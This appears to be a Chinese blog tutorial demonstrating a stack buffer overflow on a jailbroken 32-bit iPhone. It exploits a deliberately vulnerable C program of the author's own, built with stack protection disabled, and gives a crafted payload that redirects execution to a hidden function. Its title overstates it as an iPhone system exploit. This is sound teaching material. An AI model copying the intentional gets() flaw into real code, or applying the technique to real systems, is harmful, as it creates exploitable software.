苹果手机系统漏洞如何利用?
阅读本文,你将完整的经历一次堆栈缓冲区溢出漏洞利用。
设备要求
苹果电脑
32位的苹果设备(需要越狱)
编写代码
1、新建一个hello.c文件:
#include <stdio.h>
#include <stdlib.h>
void secret() {
printf("You shouldn't be here ;P\n");
// system("ls -la /");
}
int main() {
char buff[12];
gets(buff);
printf("You entered %s\n", buff);
return 0;
}
代码中的buff限制是12字符,但 gets方法却可以为buff赋更多的字符。这就是本次测试漏洞的关键所在。
2、在苹果电脑,打开终端,输入命令编译hello.c文件生成可执行文件:
clang hello.c -target armv7-apple-ios7.1 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS13.2.sdk -fno-pie -fno-stack-protector -mno-thumb -o hello
以上命令中的各项参数,我本地测试编译成功,如有问题,请自行适配。
编译生成了hello可执行文件,如下图:
真机操作
1、复制 "hello"可执行文件到你的苹果设备,我放到了手机的
/var/mobile/Documents/test
路径下。
2、电脑终端通过ssh连接到手机,并cd进入/var/mobile/Documents/test目录
ssh root@localhost -p 2222cd /var/mobile/Documents/test
3、为 hello 添加执行权限
chmod +x hello
4、运行 hello 并输入字符串"AABBCCDD",如下:
输入的字符个数在12以内,程序运行正常。
当输入的字符个数超过12时,我们测试输入"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII",程序崩溃:
安装CrashReporter,可在Cydia中直接搜索CrashReporter并安装:
在实际的使用CrashReporter时,我的设备看不到具体崩溃日志,于是直接用爱思助手在手机的 /var/logs/CrashReporter 路径下找到崩溃日志文件:
崩溃日志文件内容:
你可以看到PC寄存器中包含的值是0x46464644,也就是FFFF的16进制。PC寄存器保存的是下一条指令的地址,所以说从崩溃日志得出结果:我们输入的内容超过12字符,无意中覆盖了PC寄存器中的值。
漏洞利用
使用gdb查看secret函数的地址
gdb附加hello,命令:gdb hello
查看 secret 函数的地址,命令:disas secret
可以看到 secret 函数的地址为:0x0000bf14
执行 hello 时,我们输入"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII",PC寄存器的值被覆盖成0x46464644,所以我们现在要把PC寄存器的值覆盖成 secret 函数的地址,可以修改字符串为"AAAABBBBCCCCDDDDTTTT\x14\xBF\x00\x00"
终端执行
printf "AAAABBBBCCCCDDDDTTTT\x14\xBF\x00\x00" | ./hello
可以看到终端打印了"You shouldn't be here ;P",这是 secret 函数内部的打印信息,所以成功调用了 secret 函数。
本次漏洞利用成功!!
本文是根据《ARM环境下的漏洞利用》一文的实践操作,原文地址:http://madmark.cc/2017/11/11/ARM_Exploitation_intro/
国外友人的YouTooBe视频:https://www.youtube.com/watch?v=o4gxN6EUvCw